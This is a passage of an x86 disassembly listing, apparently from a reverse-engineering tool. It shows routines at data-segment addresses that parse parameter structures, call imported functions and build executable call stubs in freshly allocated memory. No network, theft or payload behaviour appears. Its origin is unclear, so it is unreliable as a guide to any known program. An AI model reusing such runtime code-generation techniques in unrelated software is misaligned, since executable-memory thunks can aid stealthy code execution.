		jmp	loc_41B147
; ---------------------------------------------------------------------------

loc_41B447:				; CODE XREF: sub_41AF33+24Dj
		lea	eax, [esi+408h]
		cmp	byte ptr [eax],	0
		jz	loc_41B4E2
		push	eax
		call	sub_41A8BB
		pop	ecx

loc_41B45D:				; CODE XREF: sub_41AF33+2B0j
		mov	[esi+80Ch], eax
		jmp	short loc_41B4E2
; ---------------------------------------------------------------------------

loc_41B465:				; CODE XREF: sub_41AF33+246j
		lea	edi, [esi+8]
		cmp	byte ptr [edi],	0
		jnz	short loc_41B47E
		lea	eax, [esi+408h]
		push	eax
		call	sub_41A8BB
		pop	ecx
		cmp	eax, ebx
		jmp	short loc_41B4D6
; ---------------------------------------------------------------------------

loc_41B47E:				; CODE XREF: sub_41AF33+538j
		push	edi
		call	dword ptr ds:10003018h
		cmp	eax, ebx
		mov	[esi+808h], eax
		jnz	short loc_41B4A0
		push	edi
		call	dword ptr ds:1000301Ch
		cmp	eax, ebx
		mov	[esi+808h], eax
		jz	short loc_41B4DE

loc_41B4A0:				; CODE XREF: sub_41AF33+55Aj
		mov	edi, ds:10003020h
		lea	ebx, [esi+408h]
		push	ebx
		push	dword ptr [esi+808h]
		call	edi	; lstrcat
		test	eax, eax
		mov	[esi+80Ch], eax
		jnz	short loc_41B4E2
		push	1000305Ch
		push	ebx
		call	dword ptr ds:10003024h
		push	ebx
		push	dword ptr [esi+808h]
		call	edi	; lstrcat
		test	eax, eax

loc_41B4D6:				; CODE XREF: sub_41AF33+549j
		mov	[esi+80Ch], eax
		jnz	short loc_41B4E2

loc_41B4DE:				; CODE XREF: sub_41AF33+26Ej
					; sub_41AF33+56Bj
		or	dword ptr [esi+4], 0FFFFFFFFh

loc_41B4E2:				; CODE XREF: sub_41AF33+23Dj
					; sub_41AF33+254j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF33	endp

; ---------------------------------------------------------------------------
		db 93h,	1Dh, 0
		dd 1C6210h, 1C6E10h, 1C5210h, 1D6710h, 1D1A10h,	1DE310h
		dd 1DD310h, 1DD710h, 1DDF10h, 1D3210h, 1D2210h,	1D3A10h
		dd 1D2A10h, 1DDB10h, 1D4210h, 1DCB10h, 1D2E10h,	1C7710h
		dd 1D3610h, 1C3710h, 1D5710h, 1B5C10h, 16160010h, 16000116h
		dd 3160216h, 4160504h, 2 dup(4040404h),	16161604h, 16161616h
		dd 8071606h, 160A1609h,	0D0C160Bh, 160E1616h, 11100F16h
		dd 16131216h, 16161616h, 141616h, 8071606h, 160A1609h
		dd 0D0C160Bh, 160E1616h, 11101516h
		db 16h,	12h, 13h

; =============== S U B	R O U T	I N E =======================================



sub_41B59B	proc near		; CODE XREF: .data:0041ABF1p
		push	ebx
		xor	ebx, ebx
		cmp	[edi+814h], ebx
		jl	short loc_41B5D9
		push	esi
		lea	esi, [edi+820h]

loc_41B5AD:				; CODE XREF: sub_41B59B+3Bj
		cmp	dword ptr [esi], 0
		jnz	short loc_41B5CC
		cmp	dword ptr [esi-4], 0FFFFFFFFh
		jnz	short loc_41B5CC
		mov	eax, [esi-8]
		push	dword ptr ds:10003078h[eax*4]
		push	40h
		call	dword ptr ds:10003000h
		mov	[esi], eax

loc_41B5CC:				; CODE XREF: sub_41B59B+15j
					; sub_41B59B+1Bj
		inc	ebx
		add	esi, 20h
		cmp	ebx, [edi+814h]
		jle	short loc_41B5AD
		pop	esi

loc_41B5D9:				; CODE XREF: sub_41B59B+9j
		pop	ebx
		retn
sub_41B59B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B5DB	proc near		; CODE XREF: .data:0041ABF7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	ecx, [esp+4+arg_0]
		xor	eax, eax
		cmp	[ecx+814h], eax
		push	ebx
		setnle	al
		push	ebp
		push	esi
		push	edi
		mov	[esp+14h+var_4], eax

loc_41B5F3:				; CODE XREF: sub_41B5DB+16Fj
					; sub_41B5DB+178j
		mov	eax, [esp+14h+var_4]
		mov	ecx, [esp+14h+arg_0]
		shl	eax, 5
		lea	esi, [eax+ecx+818h]
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_41B635
		push	1Ah
		pop	ecx
		cmp	eax, ecx
		jz	short loc_41B635
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B61F
		call	near ptr loc_41A7E8+1
		jmp	short loc_41B640
; ---------------------------------------------------------------------------

loc_41B61F:				; CODE XREF: sub_41B5DB+3Bj
		test	eax, eax
		jle	short loc_41B630
		cmp	eax, 19h
		jg	short loc_41B630
		dec	eax
		call	sub_41A863
		jmp	short loc_41B640
; ---------------------------------------------------------------------------

loc_41B630:				; CODE XREF: sub_41B5DB+46j
					; sub_41B5DB+4Bj
		mov	[esi+14h], ecx
		jmp	short loc_41B640
; ---------------------------------------------------------------------------

loc_41B635:				; CODE XREF: sub_41B5DB+2Fj
					; sub_41B5DB+36j
		push	1000305Bh
		call	sub_41A7D8
		pop	ecx

loc_41B640:				; CODE XREF: sub_41B5DB+42j
					; sub_41B5DB+53j ...
		cmp	dword ptr [esi+4], 0FFFFFFFFh
		mov	ebp, eax
		lea	edi, [esi+8]
		jnz	short loc_41B64F
		mov	ebx, [edi]
		jmp	short loc_41B651
; ---------------------------------------------------------------------------

loc_41B64F:				; CODE XREF: sub_41B5DB+6Ej
		mov	ebx, edi

loc_41B651:				; CODE XREF: sub_41B5DB+72j
		mov	eax, [esi]
		and	dword ptr [esi+1Ch], 0
		test	eax, eax
		jz	loc_41B724
		cmp	eax, 1
		jz	loc_41B71C
		cmp	eax, 2
		jz	loc_41B70E
		cmp	eax, 3
		jz	loc_41B700
		jle	loc_41B727
		cmp	eax, 5
		jle	short loc_41B6AF
		cmp	eax, 6
		jnz	loc_41B727
		push	ebp
		call	dword ptr ds:1000302Ch
		test	eax, eax
		jle	loc_41B727
		push	ebp
		call	sub_41A8BB
		pop	ecx
		mov	esi, eax
		call	sub_41BBF8
		mov	[edi], eax
		jmp	short loc_41B727
; ---------------------------------------------------------------------------

loc_41B6AF:				; CODE XREF: sub_41B5DB+A8j
		mov	eax, ds:10004034h
		add	eax, eax
		push	eax
		push	40h
		call	dword ptr ds:10003000h
		mov	edi, eax
		mov	eax, ds:10004034h
		push	eax
		push	edi
		push	eax
		push	ebp
		push	0
		push	0
		mov	[esi+1Ch], edi
		call	dword ptr ds:10003028h
		cmp	dword ptr [esi], 5
		jnz	short loc_41B6FC
		push	10h
		push	40h
		call	dword ptr ds:10003000h
		push	eax
		mov	[esi+1Ch], eax
		push	edi
		mov	[ebx], eax
		call	dword ptr ds:10003050h
		push	edi
		call	dword ptr ds:10003008h
		jmp	short loc_41B727
; ---------------------------------------------------------------------------

loc_41B6FC:				; CODE XREF: sub_41B5DB+FFj
		mov	[ebx], edi
		jmp	short loc_41B727
; ---------------------------------------------------------------------------

loc_41B700:				; CODE XREF: sub_41B5DB+99j
		push	ebp
		call	sub_41A7D8
		mov	[esi+1Ch], eax

loc_41B709:				; CODE XREF: sub_41B5DB+147j
		pop	ecx
		mov	[ebx], eax
		jmp	short loc_41B727
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B5DB+90j
		push	ebp
		call	sub_41A8BB
		pop	ecx
		mov	[ebx], eax
		mov	[ebx+4], edx
		jmp	short loc_41B727
; ---------------------------------------------------------------------------

loc_41B71C:				; CODE XREF: sub_41B5DB+87j
		push	ebp
		call	sub_41A8BB
		jmp	short loc_41B709
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B5DB+7Ej
		and	dword ptr [edi], 0

loc_41B727:				; CODE XREF: sub_41B5DB+9Fj
					; sub_41B5DB+ADj ...
		push	ebp
		call	dword ptr ds:10003008h
		cmp	[esp+14h+var_4], 0
		jz	short loc_41B758
		mov	eax, [esp+14h+arg_0]
		mov	ecx, [esp+14h+var_4]
		cmp	ecx, [eax+814h]
		jnz	short loc_41B74F
		and	[esp+14h+var_4], 0
		jmp	loc_41B5F3
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B5DB+168j
		inc	[esp+14h+var_4]
		jmp	loc_41B5F3
; ---------------------------------------------------------------------------

loc_41B758:				; CODE XREF: sub_41B5DB+158j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41B5DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B75E	proc near		; CODE XREF: .data:0041ACAAp
		mov	eax, [ecx+814h]
		test	eax, eax
		jl	short locret_41B793
		push	esi
		lea	esi, [eax+41h]
		shl	esi, 5
		push	edi
		add	esi, ecx
		lea	edi, [eax+1]

loc_41B775:				; CODE XREF: sub_41B75E+31j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B78B
		cmp	dword ptr [esi-4], 0FFFFFFFFh
		jnz	short loc_41B78B
		push	eax
		call	dword ptr ds:10003008h
		and	dword ptr [esi], 0

loc_41B78B:				; CODE XREF: sub_41B75E+1Bj
					; sub_41B75E+21j
		sub	esi, 20h
		dec	edi
		jnz	short loc_41B775
		pop	edi
		pop	esi

locret_41B793:				; CODE XREF: sub_41B75E+8j
		retn
sub_41B75E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B794	proc near		; CODE XREF: .data:0041AC3Fp
					; .data:0041AC8Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		mov	ebx, [eax+814h]
		mov	[esp+8+var_4], ebx
		push	ebp
		add	ebx, 41h
		push	esi
		shl	ebx, 5
		push	edi
		add	ebx, eax

loc_41B7AF:				; CODE XREF: sub_41B794+163j
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	short loc_41B7B9
		mov	esi, [ebx]
		jmp	short loc_41B7BB
; ---------------------------------------------------------------------------

loc_41B7B9:				; CODE XREF: sub_41B794+1Fj
		mov	esi, ebx

loc_41B7BB:				; CODE XREF: sub_41B794+23j
		call	sub_41A7C9
		mov	edi, eax
		mov	eax, [ebx-8]
		xor	ebp, ebp
		sub	eax, ebp
		jz	loc_41B89C
		dec	eax
		jz	loc_41B895
		dec	eax
		jz	loc_41B885
		dec	eax
		jz	short loc_41B85C
		dec	eax
		jz	short loc_41B846
		dec	eax
		jz	short loc_41B803
		dec	eax
		jnz	loc_41B8A8
		push	dword ptr [ebx]

loc_41B7EF:				; CODE XREF: sub_41B794+103j
		push	10003058h
		push	edi
		call	dword ptr ds:10003044h
		add	esp, 0Ch
		jmp	loc_41B8A8
; ---------------------------------------------------------------------------

loc_41B803:				; CODE XREF: sub_41B794+50j
		mov	eax, ds:10004034h
		add	eax, eax
		push	eax
		push	40h
		call	dword ptr ds:10003000h
		mov	ebp, eax
		mov	eax, ds:10004034h
		add	eax, eax
		push	eax
		push	ebp
		push	dword ptr [esi]
		call	dword ptr ds:1000304Ch
		mov	eax, ds:10004034h
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	eax
		push	edi
		push	eax
		push	ebp
		push	ecx
		push	ecx
		call	dword ptr ds:10003030h
		push	ebp
		call	dword ptr ds:10003008h

loc_41B842:				; CODE XREF: sub_41B794+EFj
		xor	ebp, ebp
		jmp	short loc_41B8A8
; ---------------------------------------------------------------------------

loc_41B846:				; CODE XREF: sub_41B794+4Dj
		mov	eax, ds:10004034h
		push	ebp
		push	ebp
		push	eax
		push	edi
		push	eax
		push	dword ptr [esi]
		push	ebp
		push	ebp
		call	dword ptr ds:10003030h
		jmp	short loc_41B8A8
; ---------------------------------------------------------------------------

loc_41B85C:				; CODE XREF: sub_41B794+4Aj
		push	dword ptr [esi]
		call	dword ptr ds:1000302Ch
		mov	ebp, eax
		mov	eax, ds:10004034h
		cmp	ebp, eax
		jl	short loc_41B872
		lea	ebp, [eax-1]

loc_41B872:				; CODE XREF: sub_41B794+D9j
		lea	eax, [ebp+1]
		push	eax
		push	dword ptr [esi]
		push	edi
		call	dword ptr ds:10003010h
		mov	byte ptr [edi+ebp], 0
		jmp	short loc_41B842
; ---------------------------------------------------------------------------

loc_41B885:				; CODE XREF: sub_41B794+43j
		push	dword ptr [esi+4]
		mov	eax, edi
		push	dword ptr [esi]
		call	sub_41A9E6
		pop	ecx
		pop	ecx
		jmp	short loc_41B8A8
; ---------------------------------------------------------------------------

loc_41B895:				; CODE XREF: sub_41B794+3Cj
		push	dword ptr [esi]
		jmp	loc_41B7EF
; ---------------------------------------------------------------------------

loc_41B89C:				; CODE XREF: sub_41B794+35j
		push	1000305Bh
		push	edi
		call	dword ptr ds:1000300Ch

loc_41B8A8:				; CODE XREF: sub_41B794+53j
					; sub_41B794+6Aj ...
		mov	eax, [ebx+14h]
		cmp	eax, ebp
		jz	short loc_41B8C4
		mov	ecx, [esp+14h+arg_0]
		cmp	dword ptr [ecx], 2
		jnz	short loc_41B8BD
		cmp	[ebx-4], ebp
		jle	short loc_41B8C4

loc_41B8BD:				; CODE XREF: sub_41B794+122j
		push	eax
		call	dword ptr ds:10003008h

loc_41B8C4:				; CODE XREF: sub_41B794+119j
					; sub_41B794+127j
		mov	eax, [ebx+10h]
		cmp	eax, ebp
		jz	short loc_41B8E5
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B8D7
		call	near ptr loc_41A824+2
		jmp	short loc_41B8E5
; ---------------------------------------------------------------------------

loc_41B8D7:				; CODE XREF: sub_41B794+13Aj
		cmp	eax, ebp
		jle	short loc_41B8E5
		dec	eax
		push	edi
		push	eax
		call	sub_41A888
		pop	ecx
		pop	ecx

loc_41B8E5:				; CODE XREF: sub_41B794+135j
					; sub_41B794+141j ...
		push	edi
		call	dword ptr ds:10003008h
		dec	[esp+14h+var_4]
		sub	ebx, 20h
		cmp	[esp+14h+var_4], ebp
		jge	loc_41B7AF
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41B794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B903	proc near		; CODE XREF: .data:0041AC16p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0
		push	ebx
		push	edi
		push	esi
		mov	edi, ds:10004010h
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_41B94B
		test	byte ptr [esi+810h], 10h
		jnz	short loc_41B94B
		push	ebp
		mov	ds:1000401Ch, esp
		cmp	ds:10004020h, ebx
		jnz	short loc_41B945
		mov	eax, 10000h
		call	sub_41BF80
		mov	ds:10004020h, esp
		jmp	short loc_41B94B
; ---------------------------------------------------------------------------

loc_41B945:				; CODE XREF: sub_41B903+2Ej
		mov	esp, ds:10004020h

loc_41B94B:				; CODE XREF: sub_41B903+16j
					; sub_41B903+1Fj ...
		mov	eax, [esi+814h]
		jmp	short loc_41B993
; ---------------------------------------------------------------------------

loc_41B953:				; CODE XREF: sub_41B903+97j
		mov	ecx, eax
		shl	ecx, 5
		add	ecx, esi
		cmp	dword ptr [ecx+828h], 2
		jnz	short loc_41B979
		mov	eax, [ecx+824h]
		mov	ds:10004024h, eax
		push	dword ptr ds:10004024h
		mov	eax, ds:10004028h

loc_41B979:				; CODE XREF: sub_41B903+5Ej
		add	eax, 41h
		shl	eax, 5
		mov	eax, [eax+esi]
		mov	ds:10004024h, eax
		push	dword ptr ds:10004024h
		mov	eax, ds:10004028h
		dec	eax

loc_41B993:				; CODE XREF: sub_41B903+4Ej
		cmp	eax, ebx
		mov	ds:10004028h, eax
		jg	short loc_41B953
		mov	eax, [esi+80Ch]
		mov	ds:10004028h, eax
		mov	eax, ds:10004014h
		mov	[esi+14A0h], eax
		mov	eax, [ebp+arg_0]
		mov	ds:10004014h, eax
		call	dword ptr ds:10004028h
		mov	ds:10004028h, eax
		mov	ds:10004024h, edx
		cmp	edi, ebx
		jz	short loc_41B9EA
		mov	eax, ds:10004014h
		test	byte ptr [eax+810h], 10h
		jnz	short loc_41B9EA
		mov	ds:10004020h, esp
		mov	esp, ds:1000401Ch
		pop	ebp

loc_41B9EA:				; CODE XREF: sub_41B903+CAj
					; sub_41B903+D8j
		mov	eax, ds:10004014h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14A0h]
		xor	edx, edx
		mov	ds:10004014h, ecx
		mov	ecx, [eax+810h]
		inc	edx
		test	cl, dl
		jz	short loc_41BA67
		cmp	edi, ebx
		jle	short loc_41BA44
		test	cl, 10h
		jnz	short loc_41BA44
		cmp	[eax+814h], edx
		jl	short loc_41BA67
		lea	ecx, [eax+848h]

loc_41BA25:				; CODE XREF: sub_41B903+13Dj
		mov	esi, [ecx]
		mov	edi, ds:10004020h
		lea	esi, [edi+esi*4]
		inc	edx
		mov	ds:10004020h, esi
		add	ecx, 20h
		cmp	edx, [eax+814h]
		jle	short loc_41BA25
		jmp	short loc_41BA67
; ---------------------------------------------------------------------------

loc_41BA44:				; CODE XREF: sub_41B903+10Dj
					; sub_41B903+112j
		cmp	[eax+814h], edx
		mov	esi, edx
		jl	short loc_41BA67
		lea	ecx, [eax+848h]

loc_41BA54:				; CODE XREF: sub_41B903+162j
		cmp	dword ptr [ecx], 2
		jnz	short loc_41BA5A
		pop	edx

loc_41BA5A:				; CODE XREF: sub_41B903+154j
		pop	edx
		inc	esi
		add	ecx, 20h
		cmp	esi, [eax+814h]
		jle	short loc_41BA54

loc_41BA67:				; CODE XREF: sub_41B903+109j
					; sub_41B903+11Aj ...
		cmp	ds:10004014h, ebx
		jnz	short loc_41BA75
		mov	ds:10004020h, ebx

loc_41BA75:				; CODE XREF: sub_41B903+16Aj
		mov	ecx, ds:10004028h
		mov	[eax+820h], ecx
		mov	ecx, ds:10004024h
		mov	[eax+824h], ecx
		mov	[eax+4], ebx
		test	byte ptr [eax+810h], 20h
		jz	short loc_41BAA4
		call	dword ptr ds:10003034h
		mov	ds:10004018h, eax

loc_41BAA4:				; CODE XREF: sub_41B903+194j
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B903	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	edi
		push	esi
		mov	ds:10004024h, esp
		add	dword ptr ds:10004024h,	4
		add	dword ptr ds:10004024h,	14h
		mov	[ebp-4], eax
		mov	esi, [ebp-4]
		jmp	short loc_41BAD5
; ---------------------------------------------------------------------------

loc_41BAD3:				; CODE XREF: .data:0041BADDj
		mov	esi, eax

loc_41BAD5:				; CODE XREF: .data:0041BAD1j
		mov	eax, [esi+14A0h]
		test	eax, eax
		jnz	short loc_41BAD3
		push	esi
		call	loc_41AADA
		mov	[esi+14A0h], eax
		or	byte ptr [eax+810h], 80h
		and	dword ptr [eax+149Ch], 0
		xor	esi, esi
		inc	esi
		pop	ecx
		mov	ecx, esi
		mov	ds:10004028h, ecx
		cmp	[eax+814h], esi
		mov	[ebp-4], eax
		jl	short loc_41BB73
		push	4
		pop	edx

loc_41BB13:				; CODE XREF: .data:0041BB71j
		mov	edi, ds:10004024h
		mov	edi, [edi]
		add	ecx, 41h
		shl	ecx, 5
		mov	[ecx+eax], edi
		add	ds:10004024h, edx
		add	[eax+149Ch], edx
		mov	ecx, ds:10004028h
		shl	ecx, 5
		add	ecx, eax
		cmp	dword ptr [ecx+828h], 2
		jnz	short loc_41BB5E
		mov	edi, ds:10004024h
		mov	edi, [edi]
		mov	[ecx+824h], edi
		add	ds:10004024h, edx
		add	[eax+149Ch], edx

loc_41BB5E:				; CODE XREF: .data:0041BB42j
		mov	ecx, ds:10004028h
		inc	ecx
		mov	ds:10004028h, ecx
		cmp	ecx, [eax+814h]
		jle	short loc_41BB13

loc_41BB73:				; CODE XREF: .data:0041BB0Ej
		mov	[eax+4], esi
		mov	eax, [ebp-4]
		push	ebp
		mov	ds:10004020h, esp
		mov	esp, ds:1000401Ch
		pop	ebp
		pop	esi
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB8E	proc near		; CODE XREF: .data:0041AC2Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0
		push	ebx
		push	edi
		push	esi
		mov	eax, [ebp+arg_0]
		add	eax, 820h
		push	dword ptr [eax]
		push	dword ptr [eax+4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+810h]
		and	eax, 1
		jnz	short loc_41BBC2
		mov	eax, [ebp+arg_0]
		mov	al, [eax+149Ch]
		mov	ds:10004009h, al
		jmp	short loc_41BBC9
; ---------------------------------------------------------------------------

loc_41BBC2:				; CODE XREF: sub_41BB8E+22j
		mov	byte ptr ds:10004009h, 0

loc_41BBC9:				; CODE XREF: sub_41BB8E+32j
		mov	dword ptr ds:10004004h,	10004008h
		push	[ebp+arg_0]
		call	dword ptr ds:10003008h
		pop	edx
		pop	eax
		push	ebp
		mov	ds:1000401Ch, esp
		mov	esp, ds:10004020h
		pop	ebp
		pop	esi
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		jmp	dword ptr ds:10004004h
sub_41BB8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBF8	proc near		; CODE XREF: sub_41B5DB+CBp
		cmp	dword ptr [esi+80Ch], 0
		jnz	short loc_41BC49
		inc	dword ptr ds:10004010h
		mov	eax, ds:10004010h
		or	dword ptr [esi+810h], 2
		push	40h
		push	1000h
		push	0Ah
		push	0
		mov	[esi+1498h], eax
		call	dword ptr ds:10003038h
		mov	[esi+80Ch], eax
		mov	byte ptr [eax],	0B8h
		inc	eax
		mov	[eax], esi
		add	eax, 4
		mov	byte ptr [eax],	0E9h
		inc	eax
		mov	ecx, 100024CEh
		sub	ecx, eax
		sub	ecx, 4
		mov	[eax], ecx

loc_41BC49:				; CODE XREF: sub_41BBF8+7j
		mov	eax, [esi+80Ch]
		retn
sub_41BBF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC50	proc near		; CODE XREF: .data:0041AC1Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_4], 0
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[edi+814h], ebx
		push	esi
		jl	short loc_41BC91
		mov	edx, [edi+814h]
		lea	eax, [edi+83Ch]

loc_41BC73:				; CODE XREF: sub_41BC50+3Fj
		mov	ecx, [eax]
		cmp	ecx, ebx
		mov	esi, [ebp+var_4]
		jge	short loc_41BC84
		mov	ecx, [eax+0Ch]
		lea	ecx, [esi+ecx*4]
		jmp	short loc_41BC88
; ---------------------------------------------------------------------------

loc_41BC84:				; CODE XREF: sub_41BC50+2Aj
		lea	ecx, [esi+ecx-1]

loc_41BC88:				; CODE XREF: sub_41BC50+32j
		add	eax, 20h
		dec	edx
		mov	[ebp+var_4], ecx
		jnz	short loc_41BC73

loc_41BC91:				; CODE XREF: sub_41BC50+15j
		mov	eax, [edi+80Ch]
		test	eax, eax
		jnz	short loc_41BCAE
		push	[ebp+var_4]
		push	40h
		call	dword ptr ds:10003000h
		mov	[edi+80Ch], eax
		jmp	short loc_41BCBE
; ---------------------------------------------------------------------------

loc_41BCAE:				; CODE XREF: sub_41BC50+49j
		cmp	[ebp+var_4], 0
		jnz	short loc_41BCBE
		push	eax
		call	dword ptr ds:10003004h
		mov	[ebp+var_4], eax

loc_41BCBE:				; CODE XREF: sub_41BC50+5Cj
					; sub_41BC50+62j
		cmp	[edi+814h], ebx
		mov	eax, [edi+80Ch]
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], ebx
		jl	loc_41BDA1
		lea	esi, [edi+840h]
		jmp	short loc_41BCE1
; ---------------------------------------------------------------------------

loc_41BCDE:				; CODE XREF: sub_41BC50+14Bj
		xor	ebx, ebx
		inc	ebx

loc_41BCE1:				; CODE XREF: sub_41BC50+8Cj
		mov	eax, [esi-4]
		xor	ecx, ecx
		cmp	eax, ebx
		jge	short loc_41BCF5
		mov	ebx, [esi+8]
		shl	ebx, 2

loc_41BCF0:				; CODE XREF: sub_41BC50+101j
		mov	[ebp+var_8], esi
		jmp	short loc_41BD57
; ---------------------------------------------------------------------------

loc_41BCF5:				; CODE XREF: sub_41BC50+98j
		or	[ebp+var_20], 0FFFFFFFFh
		lea	ebx, [eax-1]
		mov	eax, [esi-8]
		test	eax, eax
		mov	[ebp+var_1C], 0FFh
		mov	[ebp+var_18], 0FFFFh
		mov	[ebp+var_14], 0FFFFFFh
		jz	short loc_41BD53
		cmp	eax, 1
		jz	short loc_41BD3C
		cmp	eax, 2
		jz	short loc_41BD30
		jle	short loc_41BD57
		cmp	eax, 5
		jg	short loc_41BD57
		mov	eax, [esi]
		mov	[ebp+var_8], eax
		jmp	short loc_41BD57
; ---------------------------------------------------------------------------

loc_41BD30:				; CODE XREF: sub_41BC50+D0j
		mov	eax, [ebp+var_4]
		and	dword ptr [esi+4], 0
		xor	ecx, ecx
		mov	[esi], eax
		inc	ecx

loc_41BD3C:				; CODE XREF: sub_41BC50+CBj
		test	ebx, ebx
		jl	short loc_41BD49
		cmp	ebx, 4
		jge	short loc_41BD49
		mov	eax, ebx
		jmp	short loc_41BD4B
; ---------------------------------------------------------------------------

loc_41BD49:				; CODE XREF: sub_41BC50+EEj
					; sub_41BC50+F3j
		xor	eax, eax

loc_41BD4B:				; CODE XREF: sub_41BC50+F7j
		mov	eax, [ebp+eax*4+var_20]
		and	[esi], eax
		jmp	short loc_41BCF0
; ---------------------------------------------------------------------------

loc_41BD53:				; CODE XREF: sub_41BC50+C6j
		and	[ebp+var_8], 0

loc_41BD57:				; CODE XREF: sub_41BC50+A3j
					; sub_41BC50+D2j ...
		cmp	[ebp+var_8], 0
		jz	short loc_41BD89
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_41BD67
		test	ecx, ecx
		jz	short loc_41BD75

loc_41BD67:				; CODE XREF: sub_41BC50+111j
		push	[ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	eax, ebx
		call	sub_41AAB8
		pop	ecx

loc_41BD75:				; CODE XREF: sub_41BC50+115j
		cmp	dword ptr [esi+10h], 0
		jz	short loc_41BD89
		push	[ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	eax, ebx
		call	sub_41AAB8
		pop	ecx

loc_41BD89:				; CODE XREF: sub_41BC50+10Bj
					; sub_41BC50+129j
		add	[ebp+var_C], ebx
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		add	esi, 20h
		cmp	eax, [edi+814h]
		jle	loc_41BCDE

loc_41BDA1:				; CODE XREF: sub_41BC50+80j
		mov	eax, [edi+80Ch]
		pop	esi
		mov	[edi+820h], eax
		pop	ebx
		leave
		retn
sub_41BC50	endp

; ---------------------------------------------------------------------------
		db 83h,	7Ch, 24h
		dd 448B0108h, 0CA30424h, 75100040h, 4020683Bh, 406A1000h
		dd 868046Ah, 0FF100040h, 303C15h, 0A3C03310h, 10004020h
		dd 401CA3h, 4018A310h, 14A31000h, 0A3100040h, 10004010h
		dd 400805C6h, 0A2C21000h, 1000400Ah, 0C240C033h, 0CCCC000Ch
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BE10	proc near		; CODE XREF: .data:0041ADFEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebp
		xor	edi, edi
		xor	ebp, ebp
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41BE34
		inc	edi
		inc	ebp
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41BE34:				; CODE XREF: sub_41BE10+Dj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41BE50
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41BE50:				; CODE XREF: sub_41BE10+2Aj
		or	eax, eax
		jnz	short loc_41BE7C
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+0Ch+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+0Ch+arg_8]
		add	edx, ecx
		jmp	short loc_41BEC3
; ---------------------------------------------------------------------------

loc_41BE7C:				; CODE XREF: sub_41BE10+42j
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41BE8A:				; CODE XREF: sub_41BE10+84j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41BE8A
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41BEB8
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41BEB8
		jb	short loc_41BEC1
		cmp	eax, [esp+0Ch+arg_0]
